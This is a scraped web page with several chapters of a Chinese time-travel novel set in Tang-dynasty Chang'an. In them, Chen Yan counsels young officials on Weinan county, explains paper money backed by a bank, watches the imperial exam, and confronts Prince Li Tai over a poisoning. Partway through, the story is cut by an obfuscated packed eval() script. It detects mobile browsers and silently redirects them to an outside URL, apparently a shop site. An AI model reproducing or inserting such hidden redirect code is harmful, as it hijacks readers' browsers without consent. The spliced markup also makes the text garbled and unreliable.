$(''#content'').append('' 县前两年之所以发展那么快,很重要一部分原因是靠着图书馆吸引了太多学子过来。 他们的消费能力很强,几乎直接带动了渭南县的经济发展。 但如果陈衍在长安扩建了图书馆,那么渭南县的优势便荡然无存了。 毕竟长安才是国都,是大唐最繁华的地方。 能在长安城找到的东西,为什么还要跑到渭南县去? 陈衍深深看了三人一眼,心里隐隐有些失望。 他们三个终究还不是未来权倾朝野的宰相,现在都太年轻了,遇到问题就容易慌。 还需要成长啊 陈衍神色冷了两分,“所以,你们的意思是让我停止扩建图书馆,将渭南县视为唯一,从而放弃培养寒门子弟,是吗? 这话落下,三人顿时慌了。 李义府赶紧起身拱手,“大人,下官绝对没有这个意思啊,我等纵使不明白情况,也知道扩建图书馆是大势所趋,不可阻拦。 “我等今日前来,是想询问一下大人的意见,看看能否让渭南县在失去图书馆的优势之后,不停止发展 “好了,这就是你们的问题吗?陈衍更失望了,“你们三人今日放下公务一同前来,仅仅是因为这件事? “如果是的话,那你们便好好在渭南县继续历练两年吧。 “这李义府三人更紧张了起来。 倒不是因为陈衍让他们继续历练两年,说实话,两年而已,对于走官路来说,根本算不得什么。 他们紧张的原因,是因为从陈衍脸上看到了失望的表情。 陈衍对戴至德道:“别怪我不讲情分,现在的你们确实还差了不少,你可以回去跟你叔叔说说此事,询问一下他的意见。 “还有,你们好像一直都搞错了一件事,也忘了我说过的话。 “渭南县的定位,是一座工业化县城,而不是如江南般吸引众多人前往的游玩、短暂停留之地。 “回去好好想想我的话,等你们真正做到的那一天,就是你们回到长安,正式踏入朝堂的时候! “. 第575章 恨铁不成钢的戴胄 “李兄.你说大人这是什么意思?” 从渭国公府出来,张文瓘有些难以相信,“大人的意思,是让我们放弃这部分被吸引来的人流吗?” “可是我们的商业街,大多都靠这些学子撑起来的。” “如果放弃他们,那么大人之前又为何要致力于打造那条商业街?要知道,当初为了打造那条街,我们耗费的人力物力可不少” 李义府沉思道:“大人的意思已经很明显了,无非就是让我们把注意力放在手工业上面,多往这方面发展,而不是执着于被图书馆吸引来的众多学子。” “可是我也不明白,如果放弃这部分学子,必定会拖慢渭南县的发展。” “如此一来,不仅县城的税收减少,一部分做些小买卖的百姓收入同样会骤降,这岂不是偏离大人的初衷了吗?” 两人左思右想,实在搞不懂陈衍到底什么意思。 毕竟当初图书馆是陈衍自己建立的,也曾说过要用这个来引流,带动县城发展。 陈衍应该早知道自己不会待久,必定会离开渭南县返回长安。而如今因为科举的原因,建造图书馆培养寒门子弟本就是大势所趋。 陈衍不是一个短视的人啊。 在种种原因下,为何要在离开之前,耗费巨资打造商业街呢? “老戴,你怎么看?” 李义府转头问。 戴至德道:“我隐隐有些猜想,但不是很确定,贸然说出来怕贻笑大方。不过既然我们不懂,不如找个懂的人询问一下。” “走吧,上我叔叔家,他最近调任秘书监了,公务较为轻松,而且身体有恙,现在应该在家。” 李义府和张文瓘面面相觑,心里默默感叹背后有人就是好。 遇到不懂的问题便询问背后的大佬。 难怪从前杜构、房遗直他们面对拥有韦贵妃的韦家都没怂过。 不消多久,三人便来到了戴府。 毕竟长安很多勋贵都住在一个坊市内,陈衍家离戴胄家还真没多远。 进府,戴至德轻车熟路地询问下人戴胄的位置,然后直奔书房。 找到了躺在摇椅上闭目养神的戴胄。 “叔叔. 来之前气势汹汹,来了之后,戴至德忽然又怂了,语气弱了几分。 戴胄轻抬眼皮,扫了眼自己的侄儿,以及背后弯腰行礼的两人: “怎么都跑到长安来了?是遇到什么解决不了的问题了吗? “以陈子安如今的地位,加上离开渭南县之前当众放过狠话,应该没人为难你们吧? 戴至德讪讪道:“叔叔,确实没人敢为难我们,我们只是遇到了一些不懂的事,想来请教请教您。 戴胄一怔,正色了几分,“行,你说说看。 紧接着,三人你一言我一语,把目前渭南县的情况都说了出来。 在听完一切之后,戴胄眯了眯眼,严厉道:“怎么?你们要阻拦图书馆扩建,阻拦大势? “没有没有!戴至德苦笑,怎么陈衍跟戴胄都是一个反应呢? “叔叔,我们是年轻,但不是傻,知道此事定然不可违背,我们只是想找出一个解决的办法,不拖慢渭南县的发展脚步。 “这样最好。戴胄这才放心下来,重新躺回去,“先坐吧,慢慢说。 “你们去找了陈子安没有? “回戴大人,我们确实先去找了陈尚书。李义府迟疑道:“但大人说的话我们有些不太明白,告诉我们,渭南县从一开始的定位就是一座工业化县城。 “只是若失去了被图书馆吸引过来的学子,陈尚书离开之前耗费巨资建造的商业街很可能就此荒废,所以我等实在不明白啊。 “他还说什么了?戴胄望向面前的三个年轻人,心里微微叹了口气。 果然陈衍才是那个唯一,这些年轻人即便表现出众,可阅历终究是太少了。 目光看得不够长远。 明明一个很简单的问题,非要想那么复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095074|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂。 戴至德有些羞愧道:“陈尚书好像对我等有 些失望直言让我等继续在渭南县历练两年等什么时候做好了工艺化县城就是我们正式踏入长安朝堂的时候。” “他说话已经很客气很给你们留面子了!” 戴胄冷哼他本就不是什么很好说话的人冷着脸说:“你是我侄儿另外两个都是我们看重的后辈我就直接说了。” “如果让我来评价你们那就是两个字——蠢笨!” 三人默默无言没想反驳什么。 他们都是能认清自己的人知道有时候有人能骂你是一件多么好的事情。 骂你是因为在乎你。 如果不在乎你看谁愿意搭理你? 多看一眼都嫌晦气。 “我问你们陈衍是什么时候去的渭南县去渭南县的时候当地是什么情况?”戴胄提出了一个问题。 李义府赶忙回道:“陈尚书是贞观四年去的渭南县当时渭南县的百姓并不算好贪官横行、土匪成窝百姓被欺压已久。” “对这就是问题所在!”戴胄淡淡道:“当时的渭南县尽管临近长安背靠渭河却因为种种原因导致百姓的生活相当困难。” “那么想发展渭南县除去依靠自身的优势之外还得从外部借力如此才有了图书馆。” “只是经过这两年的发展渭南县百姓的生活水平日渐提高而且在大势所趋的情况下 “如果陈衍想一直依靠图书馆当初为什么给你们定下的未来发展方向是工业化县城你们想过这个问题没有?” 听了戴胄一番话三人心里渐渐有了丝明悟。 戴至德赶紧询问道:“所以叔叔我们现在要放弃这部分被图书馆吸引而来的学子吗?” “你怎么还在执着什么狗屁图书馆?”戴胄忍不住了呵斥道:“失去了图书馆渭南县就活不下去吗?” “那我问你现在渭南县百姓的收入九成依靠的到底是工坊还是图书馆?” “.” 第576章 一张纸即是钱 渭南县百姓的收入,更多依靠的是图书馆还是工坊? 这个问题自然无需怀疑,答案必定是工坊。 因为陈衍自始至终都在践行着以工代赈,到目前为止,渭南县的道路几乎全被翻修了一遍,码头也重新修缮。 那么多工坊招收了大量的百姓。 给出的工钱都相当高。 这才是渭南县百姓生活好起来的主要原因。 戴胄语重心长道:“不要计较一时的得失,凡事要从长远看,渭南县的工坊才是你们应该看重的东西,而不是那一座注定在其他地方扩建的图书馆。” “其次,渭南县最大的优势是什么?” “是它背靠渭水,乃水路通往长安的必经之路,它的人流注定差不到哪里去!” “再加上百姓生活渐渐富足了,他们的消费能力同样会慢慢上升,所以失去了这部分被吸引来的学子,短期看确实损失不小,但今后都会慢慢恢复过来的。” “你们别把主次颠倒了,捡了芝麻,丢了西瓜。” “我明白了。”李义府恍然,“您的意思是,我们应该更注重工坊,以及那些走水路的船队吗?” “嗯。”戴胄微叹,“陈子安说得对,你们三个好好在渭南县待两年吧,再沉淀沉淀,平日里多看看史书,多去思考。” “走吧。” “多谢戴公(叔叔),我等先告辞了。” 从戴府出来,三人沉默片刻,张文瓘犹豫道:“咱们是不是让他们都失望了?” 李义府时常挂在嘴边的笑容不见,长叹,“这不是废话吗?我们太执着于那部分学子了,没考虑到长远的问题,只计较短暂的得失,陈大人与戴公都发现了这一点,故此才会如此恨铁不成钢。” 戴至德羞愧道:“今天丢人丢大发了,咱们赶紧回去吧,别留在长安了。” “是极是极。” “......” 而在三人前脚刚离开,后脚许怜月便找上了陈衍。 “崔公子把那些世家存入的钱财,都办理了三年定期,他说是您的吩咐。” 陈衍淡淡抿了口茶,“嗯,是我让办的,今后三年,这万万贯钱财,暂时属于我们了。先配合东宫那边扩建钱庄吧,从长安开始往外扩建便好。” “对了,借贷的条件可以放松些许,也可以拿去对一些好的买卖进行投入。” “以及在渭南县那边继续建设工坊吧,有了更多更 好的技术,不能放着不用。” “暂时就这么发展吗?”许怜月疑惑地问。 她知道陈衍是个不安分的人,现在手握如此之大一笔巨款,竟然不整出一些大动作。 这不像是陈衍的风格啊。 “暂时就这样。”陈衍点点头,“万万贯钱,听起来很多,但其实面对整个大唐,这笔钱依然是不怎么够的。” “凡事得慢慢来,更何况现在大家都在等科举的结果出来,届时再随机应变吧。” “我明白了。”许怜月答应一声,想起一件事,说:“今日户部的两位侍郎来了,要以户部的秋收作抵押,向钱庄借贷两百万贯,以及大量粮食等物资。” “我们该如何收取这个利息?” “一切按照规矩来!”陈衍坚定道:“今后,不管是谁来,户部也好,皇室也罢,都给我按照规矩来!” “按照借款的数额,以及分期的年限来决定利息多少,不用跟他们客气。” “哦,对了,记得多收些粮食,借出去的钱,可以不用要求人家还现钱,用同等的粮食,或者绢帛也可以。” “钱庄不仅可以成为钱庄,也可以成为粮庄,否则万一又出现灾年,手中有粮食才能控制粮价!” “我们不能靠这个挣钱,但不能让那些黑心粮商趴在百姓身上吸血!” 许怜月迟疑道:“可......现在的粮价一直在掉,而且你今年的土豆和占城稻将进行大规模种植,未来的粮价肯定会持续走低,我们按照现在的粮价,大规模收取粮食,并不是一个明智之举。” “再说绢帛,这个东西别人不清楚,咱们难道还不清楚吗?” “照渭南县这么持续生产下去,绢帛的价格估计也会慢慢掉,我个人认为收取粮食和绢帛都不可行。” “呵呵......”陈衍笑笑,“你能这么想,在一定程度上确实没问题,可你有没有想过,无旌骑即将前往倭国了。” “那边有一座足以开采上百年的巨大银矿,你认为在这么多银子的冲击下,铜钱会不会贬值,甚至被淘汰掉?” 许怜月愕然。 这个问题她还真没想过。 因为首先她并不了解那边的银矿,只偶尔听到陈衍他们交谈的时候提过两嘴。 其次,铜钱经过这么多年的发展,已经普遍被大众认可了,其概念已经深入人心。 她很难想象铜钱会持续贬值,甚至变得不值钱。 陈衍不急不缓道:“不管是钱也好,粮也罢,多了便会贬值,就像粮食年年丰收,粮价自然就低了。” “但如果我们掌握了大部分的钱、粮,那么其价值都是我们来决定的。” “既避免了谷贱伤农,又避免了黑心粮商吸血。” 说着,陈衍捏起桌上一张纸,“看到这张纸没有,当钱庄发展到一定规模,我只需要将这张纸与铜钱锚定,告诉天下百姓,只要拿着这张纸,便能去到任何一家钱庄换取同等的钱财。” “那么,这张平平无奇的纸,就是钱!” “从今往后,大家出门用的便再也不是铜钱,而是由钱庄所承认的这种纸!” “你明白了吗?” “......” 许怜月呆滞了良久,脑子不知转了多少圈,才渐渐明悟了陈衍的意思。 她艰难地吞了口唾沫,实在很难想象买卖竟然还能这么做。 钱庄的意义竟然这么大! 许怜月望着陈衍手中那张纸,不禁在心里问自己,这有可能实现吗? 下一刻,她自己便给出了答案。 可以! 因为钱庄不仅是陈衍的钱庄,更是皇室的钱庄。 当钱庄遍布大唐各个角落,掌握了天下钱财之后。 一切,都由他们来决定! “......” 第577章 科举到来 贞观六年,二月十五! 今天对于朝堂,以及天下学子,乃至李世民都是较为特殊的一天。 因为今天便是科举的日子,俗称春闱! 按理来说,春闱一般在正月举行,不是正月下旬就是二月初。 但这次因为李世民豪横了起来,非要建造一个‘文明殿’用于今后科举,而工部办事效率太低,又尽出贪官,直到今年二月初才彻底完工。 等李世民和诸多大臣检验过后,朝廷便火急火燎地在‘大唐民报’以及官府的告示上宣布了科举的日期。 这天,连常朝都被取消了,因为李世民和太子李承乾都跑去当考官或者主持春闱了。 早已通过层层考试的众多学子,今日早早便来到了文明殿前等候。 李世民,以及诸多大臣今日都聚集在了一起,站在一处阁楼之上,望着远处殿前一众兴奋的学子。 “时辰应该差不多了吧?承乾,你跟辅机去吧,可以让众多学子入殿了。” “是,陛下。” 两人作揖退下,离开了。 “子安,你说今年谁能拔得头筹呢?”李世民淡淡问道。 陈衍目光扫视着一众学子,最终停留在两张颇为相似,让他较为熟悉的面孔上:“谁能拔得头筹,我说不好,但我希望他是寒门子弟。” “只是,今年怕是很难,下次科举或许情况又会有些不同。” “不过总的来说,得看具体考中的氏族、寒门子弟数量,谁拔得头筹并不重要。” 李世民似乎察觉了他的目光,意味深长道:“可是朕怎么听说,你在科举开始之前,亲自招揽了两个人,并且带到了渭南县折冲府培养,为此甚至不惜请出了颜家一位长者去教导。” “你还劝说太子跟朕抢人,说一定要把这两个人收入囊中。如果朕不允的话,便让太子跟朕争上一争。” “你很看好他们。” 李世民的话出口,其他大臣们都愕然了,连杜如晦都惊了一下。 不是? 你真是什么话都敢说啊! 让太子去跟陛下抢人? 亏你想得出来! 陈衍干咳,“那陛下是希望太子殿下听我的建议,跟您争上一争,还是不采纳我的意见,安安稳稳当好自己的主持呢?” 李世民不置可否,没再继续提起这个话题,转而问:“那你觉得,今年能有多少寒门子弟中榜?” 对于这个问题,陈衍不敢说太满,思忖道:“图书馆创立到现在,时间仍然太短了,想让寒门子弟在现在就大范围冒头,我认为不太可能。” “不过至少不会跟贞观元年一样,只有区区一名寒门子弟中榜,这次应该可以占到二成。” “二成?”李世民听后笑了,“如果真有二成,那朕就满足了。” “你更看好下一次科举,朕何尝不是?” “而且,二成已经足够表明很多东西了,这次是二成,下一次说不定是四成,再下一次,占到五成以上也未尝不可嘛。” “倘若真是如此,科举便即将迎来兴盛了。” 陈衍点点头,“一步步来呗,天下之事,从来急不得,就好比我们想推出的税收新政策,我记得首次提出来已经是贞观四年了,到现在依然在铺路。” “甚至连第一步彻查天下田户,我都在一点点谋划、寻找合适的机会。” 提起此事,众人都来了兴趣。 因为有关累进税制,当初李世民跟他们好好商议过,但大家都认为此事有一定可行性,但必须慢慢来,慎之又慎。 否则的话只会适得其反。 毕竟这代表着站在了天下所有地主、豪绅、氏族、勋贵的对立面。 魏征倒是对此大力推崇,但他也明白想实现有多难。 如今陈衍再次提起,是否意味着可以开始了? “子安,你认为什么时候是合适的时机?”房玄龄问道。 “什么时候啊......”陈衍下巴点了点在禁卫守护下,有序踏入‘文明殿’中的学子,“等科举结果出来,寒门子弟中榜在二成以上,勉强能算得上合适的时机。” “天下的道理都是由握着笔杆子的人书写的,恰好天下最不缺的就是寒门子弟。” “如果让他们看到希望,这部分人会自发地维护我们,避免我们这些为他们提供向上通道的人倒下。” 房玄龄一怔,摇头失笑,“你的话有一定道理,但仅仅这样的话,应该不足以冲破层层枷锁。” “天下的道理确实是握着笔杆子的人书写的,可天下寒门子弟虽多,但他们人微言轻,不一定能起到多大的效果。” “不!”杜如晦反驳道:“正是因为他们人多,而且从前不受到氏族、勋贵重视,仅有我们重视他们。” “当他们拧成一股绳的时候,所能爆发的力量依然不可小觑。” 魏征沉吟道:“陈尚书 方才说勉强算一个合适的时机,我是否可以认为,陈尚书认为还有更好的时机?” “或者说在科举之后,这个勉强称得上时机的时候,先提一嘴,让大家有一个心理准备,然后等到更合适的时机到来,再一举将此事确定下来?” 他的话,将原本各持己见,想争论一番的杜如晦、房玄龄注意力吸引过来。 李世民也转过了头,“子安,魏征说的是对的吗?” 陈衍坦然道:“我确实有这个想法,毕竟累进税制,这个名字哪怕不谈及具体细节,光听名字都知道是什么意思了。” “这几乎等同于在所有地主、豪绅、氏族、勋贵身上割肉,一刀斩在了土地兼并所带给他们利益的基点上,连我等都逃不脱。” “其中的困难何其之大?” “若不想引起大乱,平稳地实施,一个不怎么合适的时机是绝对不行的。” 说着,他顿了顿,继续道:“我的想法是,在科举结束之后,如果结果较好,那么直接彻查天下田户,不要提累进税制这种东西。” “等年底让我大唐铁骑以摧枯拉朽之势踏平吐谷浑,此举不仅是震慑周边部族,更是震慑大唐内部!” “届时,便是合适的时机!” “......” 第578章 长安稻、华夏稻 “摧枯拉朽......震慑内外?” 李世民表情顿时变得耐人寻味,“子安,你小子......好像在忽悠朕整把大的啊。” “陛下,我可没这样说,您别多想。”陈衍赶忙否认,“我只是在想,反正打完仗,秦伯伯带着那么多人闲着也是闲着,不如带上点家伙事儿把大唐境内的土匪流寇清理清理。” “您忘了吗?去年我回长安的时候,还遇到过一帮子马匪截道呢。” “在长安周边就敢如此,其他地方我都不敢想是什么样,百姓是不是时常受到骚扰?” “再一个,钱庄需要扩建,肯定要建立安全的通道,否则钱庄扩建到外地,百姓存入钱财,在运送钱财的时候被马匪截了去,岂不可笑?” 此言一出,大家都笑了。 陈衍堂堂一位国公,带着一位嫡皇子,四位公主,在回长安的路上遇到些不知天高地厚的马匪截杀,说起来确实挺可笑。 但他们笑却不是因为这个。 而是因为陈衍的潜台词。 让秦琼带兵去扫荡大唐境内的马匪? 你真的只是为了清除这些土匪流氓,为出行的百姓、商队着想,而不是展示武力,震慑地主豪绅吗? 李世民伸手点了点他,“你啊你,脑子里的想法总是奇奇怪怪的。” “此事稍后再议吧,马上要开考了,朕这位主考官,也该下去了。” “走吧,你们若有兴趣,也随朕去看看!” “......” 科举,科举。 在这个时代,科举的时候最怕什么? 当然是作弊了! 目前的科举制度依然不够完善,为了防止考试中有人作弊,诸多大臣可谓是想尽了办法。 在贞观五年的时候,单单因此事就不知道争论了多久。 还是后来陈衍站出来一锤定音。 避免作弊的各种制度肯定要定下,但这种事必须要一点点查缺补漏,一点点完善,急不来。 既然担心有人作弊,那么索性直接让李世民的玄甲军、宦官以及吏部各出一人盯着。 盯着各个考生的一举一动,看看是否有作弊行为。 并且,每一个考生都有隔板隔开,一人一个考间。 而且为了防止后续有人调换试卷,陈衍还提议糊住考生名字,每张试卷编纂一个编号,在春闱之前便定下一个考生一个编号,精准地发放给对应 的考生。 此编号由李世民直接掌管,最大程度上避免各种意外情况出现,导致准备许久的科举出现纰漏。 而李世民身为主考官,唯一的职责其实就是宣布科举正式开始,然后往上方一坐,职责就完成了。 忙碌的大多是李承乾和副考官长孙无忌。 陈衍跟杜如晦他们也跑过去瞅了一眼。 嗯......怎么说呢,气氛挺紧张严肃的,有些学子额鬓间甚至沁出了冷汗。 出来之后,杜如晦面色古怪道:“你的方法确实有用,让玄甲军、宦官、吏部的官员盯着考生,确实能防止人家作弊。” “但是,在考试之中,被这么多人盯着,压力难免过大了。” 房玄龄点头附和,“我也有这种想法,如果因此导致考生压力过大,从而发挥失常,原本能考上的,因此没有考上,未免有些太可惜了。” 陈衍啧了声,扭头对魏征问道:“魏侍中,你怎么看?” “我怎么看?”魏征淡淡道:“我站着看呗,我还能怎么看?” “倘若连这点压力都承受不住,就算考中了,估计都是中看不中用的货色。” “要我说,方才那些考生,面露紧张,乃至渗出冷汗,手掌发抖的,基本上不用关注了。” “科举连个人的形象都要考虑到,为何不能加入一项承受压力的能力?” “我现在是越来越觉得你的办法好了,今后咱就这么干,倘若因为被人盯着就发挥失常,那就是他们自己的问题了。” “毕竟其他考生都是一样的待遇,人家就能淡定地答题,而他们却不行,能怪得了谁?” 杜如晦和房玄龄眨眨眼,细细琢磨了一会儿,笑了。 别说,魏征的话糙理不糙。 如果连这点压力都承受不了,落榜并不值得可惜。 “倒是我二人目光狭隘,没想清楚这点。”杜如晦乐呵呵道:“不过对于方才魏侍中的提议,我想了想,觉得可行。” “不如今后咱们跟陛下提议一下,将来的科举都这么办好了。” “以后的事以后再说吧。”陈衍回头望了眼‘文明殿’的牌匾,“几位大人,马上三月份了,今年土豆和占城稻即将种下去,大唐未来肯定不怎么会缺少粮食了。” “如今科举正在如火如荼地进行,外患势必会被平定,你们说......咱们是不是该提议陛下前往泰山封禅了?” 封禅二字 落下,几人的脚步同时顿住了。 杜如晦和房玄龄细细思量后,微不可察地点点头。 只有魏征,皱着眉头,没有表态,似乎在犹豫些什么。 “魏侍中觉得不行?”陈衍问。 “行......倒是行,只是如今民生还未彻底恢复过来,外敌未曾平定,是不是急了些?”魏征犹豫道。 陈衍闻言满不在乎道:“我的意思是咱们今年提议出来,然后大家做好准备,等明年贞观七年再前往泰山封禅嘛。” “届时,有了土豆和占城稻的消息定然已经瞒不住了,外敌也被平定,不正好是泰山封禅的最好时机?” “再说,封禅不光是给陛下添一份荣耀,更是要给天下百姓吃一颗定心丸,让所有人都清楚,陛下有决心,看到往后的日子,越来越好的希望。” 最后一句话,彻底说服了魏征。 而后,他板着脸,正色道:“我觉得陈尚书说得不对。” “......哪不对?” “什么占城稻,太难听了,分明是我大唐的长安稻、或者华夏稻啊!” 陈衍:“......” “......” 第579章 郑观音的结果 科举开始,吸引了所有人的目光,朝堂也把注意力放在了那边。 这两天户部倒是没什么大事,下面的人正在积极地清点从钱庄借贷而来的钱财和物资。 陈衍处理完日常公务,背着手,欢快地走出户部。 到今天已经是科举的第三天,上午过后,吸引众多目光的科举也就结束了。 接下来,便是等待李世民和众多大臣、考官来评定各个考试的试卷,以及决定最后的中举者。 当然了,这些跟陈衍没什么关系。 无论谁中举都影响不到他,只要里面存在一部分寒门子弟便好。 然而,刚走出户部,却遇到了一个令他意外的人。 “渭国公大人,奴婢家夫人有请,您......现在有空吗?” 说话的是一个看上去将近三十岁的侍女,陈衍对这个人有点印象,在郑观音那里见过一次。 陈衍轻轻笑了笑,意味深长道:“你家夫人请我过去?这可真是不多见啊!” “如果我没猜错的话,她应该恨不得吃我的肉,喝我的血才对。” 侍女并未言语,只是微微低着头。 这些大人物的争斗,不是她能插手多嘴的,自己只是完成主人家的吩咐,来传个话罢了。 陈衍对她的反应并不奇怪,抬脚走到前面,随口问:“莫不是我拜托她查的事情有了结果?今天是来传消息来了?” “渭国公大人的叮嘱,夫人从未忘记,始终拜托人暗中调查,最近刚有了些眉目。” 侍女跟在后面,恭敬回了句。 这下,陈衍是真的意外了,脚步停住,转身盯着她。 他要求郑观音查的事,自然是李承乾中毒。 只是......这件事连李世民都还没查出来,当初找上郑观音,无非想着有枣没枣,甩一杆子。 结果郑观音真查到了什么东西? 亦或者.......郑观音想用假消息来糊弄他,继续借他的手达到什么目的,对付什么人? “你家夫人......真是让人意外啊。” 陈衍意味不明地说了一句,而后大手一挥,“既然如此,那就走上一趟吧。” “对了,不过我要先回一趟家,高阳对你家夫人最近可是想念得紧,总念叨着要去拜访拜访,听得我耳朵都起茧子了。” “正好,趁着这次机会,带上高阳,备上一些礼品前去拜访一下吧。” 侍女:“......” 回想起前两次高阳和郑观音接触的场景,她不禁陷入了沉默。 “......” “呀,郑伯母,正所谓一日不见如隔三秋,如今都隔了多少个春秋了?” 高阳见到郑观音,笑嘻嘻地凑上前,亲昵地拉着她的手,“侄女对您可是想念得紧啊。” “不过伯母千万勿怪,家中的孩子还小,侄女也是实在脱不开身。” 说着,她向后仰了仰下巴,“香岚,你还愣着干什么?把我给伯母准备的礼品拿上来,这可是我专门为伯母精心挑选的锦缎以及上好的茶叶。” “对了,伯母,侄女知晓您家中孩子颇多,还准备了一些小甜点和衣服,您看看......” 高阳兴致勃勃地给郑观音介绍着带来的礼品,郑观音此次倒是并未黑脸了。 态度跟上次来可谓是前后一百八十度反转,脸上一直挂着笑,并不排斥高阳的接触,好似对此很惊喜似的。 陈衍自顾自地找位置坐下,盯着这一幕,眼里闪过一丝异色。 看来,郑观音是真的认清楚形势,以及自身的处境了。 否则的话,恐怕还跟上次一样有恃无恐。 坐了一会儿,眼看两人聊得差不多了,陈衍开口切入主题,“郑夫人,不知你今天请我来,到底是因为何事?” 郑观音忽然笑了笑,眼里闪过一丝嘲讽,“自然是因为你上次拜托我调查的事,最近我有些眉目了,你想知道吗?” 见她的神情和语气,陈衍嘴边的笑容僵了一下,心里忽然觉得,这个答案可能不是自己期望中的那个。 “郑夫人......是又觉得自己行了吗?”陈衍眼神冷了几分,他不在乎郑观音对自己什么看法,以及眼神透露出来的嘲讽。 “你只管说出你调查出来的东西,别给我搞其他小动作,别忘了,现在整个天下只有我能救你!” “是!”郑观音颔首,并未因为陈衍的言语而慌乱,“你说得都对,但如果我告诉你,下毒者不是你想象中的世家,也不是太子的仇家。” “而是一个你想象不到的人,更是跟你有千丝万缕的关系呢?” 此话一出,高阳怔住了,连客套的笑容都险些没维持住,下意识看向自家夫君。 陈衍扬了扬眉,手指无意识地敲击着桌面,脑子里浮现出一个又一个名字,最后定格在一个女人身上。 “韦贵 妃?” 郑观音翘了翘嘴角,“自从你让我查这件事后,我想过太多太多种可能,韦贵妃自然不例外,但这件事跟她还真扯不上多少关系。” 陈衍的笑容彻底消失不见,眼里逐渐浮现了一抹猩红,“既然不是她,又让我想不到,还跟我有千丝万缕的关系......好像只有一位了。” “魏王李泰?” 当陈衍说出这个名字之后,高阳和郑观音都惊了。 前者是因为不可置信,后者则是意外陈衍能这么快想到。 “不可能!”高阳坚定道,“我了解李泰,倘若换做以前,你说是他给太子下毒,我是相信的。” “但现在的李泰绝无可能!” “是吗?”郑观音心情那叫一个舒爽,“可你为何不相信李泰从前的势力有多大?多少人被他收入麾下,但就因为你夫君一个什么热气球,导致他们的扶龙之功变成大梦一场!” “多少人因为魏王退出皇位争夺,从云端跌落到了泥潭里?” “如果太子李承乾死了,在晋王李治年幼的情况下,只有从前大受陛下宠爱的嫡子魏王可以顶上去。” “你们说,这些人会不会拼一把?” “......” 第580章 李泰:这特么找谁说理去? 屋子内沉寂了许久,陈衍微微低着头,一缕长发挡在面前,让人看不清神情。 不知过去了多久,就连高阳都有些坐立不安,香岚和郑观音的侍女更是要跪下去的时候。 淡淡品着茶的郑观音开口了:“如何,渭国公对我调查出来的东西满意否?” “满意啊,当然满意!” 陈衍语气平静,抬头凝视着她,“只是,我很想知道,你又是怎么调查处理的?” “魏王从前的势力并不小,连陛下都没查出来此事,偏偏被你查出来了,我有点不敢相信啊。” 郑观音嗤笑道:“既然如此,你大可以选择不相信,反正此事只有我们在场几个人知晓,除此之外再无其他人。” “你就当今天是高阳想念我,单纯地前来拜访,如何?” “不要跟我扯其他的,说具体原因!”陈衍声音冷了下来,“还是那句话,现在整个天下,只有我能救你,以及你府中的这些孩子!” “我劝你别不识好歹,我的脾气很不好,特别是在面对这种事的时候!” 郑观音沉默两息,道:“是在从前隐太子党跟魏王旧势力人喝酒之时,偶然听到的,也并未直接表明,只是说他们原本有机会东山再起,可惜了之类的。” “我当时收到消息,顺着这方面查了一下,具体没找到什么证据,该死的人都死得一干二净。” “只是查到在太子中毒的前一个多月,魏王党的人零零散散暗中聚集过几次。” 听完郑观音所有话,陈衍闭了闭眼,轻声道:“此事跟魏王、以及魏王势力无关,是世家配合韦贵妃还有韦家残余势力做的,明白吗?” 他的话语很轻,但任谁都能听得出来他言语中的不容置疑。 郑观音默默点了点头,理解了陈衍的意思。 “......” “夫君!夫君,千万别冲动,郑观音跟我们关系本来就不好,说不定她就是来激我们的!” 走出郑观音的住处,陈衍周围气场压抑得吓人,闷头往前走,一言不发。 这样的陈衍,给高阳吓到了,急忙追上去,边走边说:“先不说郑观音有没有说谎,就算她没有说谎,确实是魏王旧党下的毒,但这并不代表此事一定跟魏王有关系。” “说不定李泰自己都不清楚呢?” “毕竟他现在的样子你也看到了,全心全意都放在那什么神威大炮身上,他无心皇位之争啊!” 陈衍停下脚步,沉声道:“那万一这是他装出来的呢?他就是要让所有人放松警惕,然后打一个出其不意呢?” “如此一来,在晋王年幼的情况下,储君只有他这个嫡子能继承!” “高阳!我早就跟你说过,我从来不介意抱着最大的恶意去揣测人心,何况是面对那个至高无上的位置!” 陈衍说完,强行压制着内心的烦躁,放缓语气,“此事跟你无关,你先回家吧,小岁安还等着你照顾呢。” 高阳哪里肯答应,以她对陈衍的了解,现在的陈衍指不定能做出什么事,急道:“你好好想想我的话,别被情绪所左右了。” “你从前不是最看不上这种人吗?冷静点,好吗?” “我从小跟李泰一同长大,是,我承认他有时候心狠,但他应该是真的退出了皇位之争。” “更何况,此事根本毫无证据来证明,我们先回家,父皇不是加大投入培养不良人了吗?我们可以让不良人去查啊!” 陈衍叹了口气,揉了揉高阳的头,温和道:“棠儿,乖,你去找你父皇,把这件事全部告诉他,好吗?” “乖~” 高阳一大堆话忽然就卡在了嘴边,望着面前温柔的陈衍,再也说不出一句话了...... 长安,新建的科研院里。 临近中午,魏王妃照例来给不好好吃饭的李泰送饭。 在看到李泰依然跟一群人挤在一起讨论,围着一个铁疙瘩面露兴奋之时,眼里闪过一丝无奈。 “砰——” 魏王妃刚准备开门,后面的门被暴力踹开,紧接着她便感觉一道身影从旁掠过,以迅雷不及掩耳之势,双手抓住李泰的衣领,一路横冲直撞,死死把茫然的李泰按在墙上。 李泰此时仍然没回过神,其他人都被吓到了,不知道发生了什么。 “都给我......滚出去!!!” 陈衍侧过头,声音低得吓人。 周围的人一看到他,不敢耽误,连忙慌不择路地跑了出去。 现场,除了他们二人之外,只剩下了提着食盒,不知所措的魏王妃。 “子......子安兄,怎么啦这是?我又招你惹你了?” 李泰逐渐回过神,肥嘟嘟的脸上扯出一丝笑容,实在搞不明白今天又怎么了。 “招我?” 陈衍手掌骤然发力,将他死死摁在墙上,怒道:“告诉我,是不是你的人给太子下 毒?” “这背后......是不是你在指使!?” “哐当——” 他的话一出口,魏王妃脸色瞬间苍白,手中的食盒一下子掉在了地上。 给太子下毒? 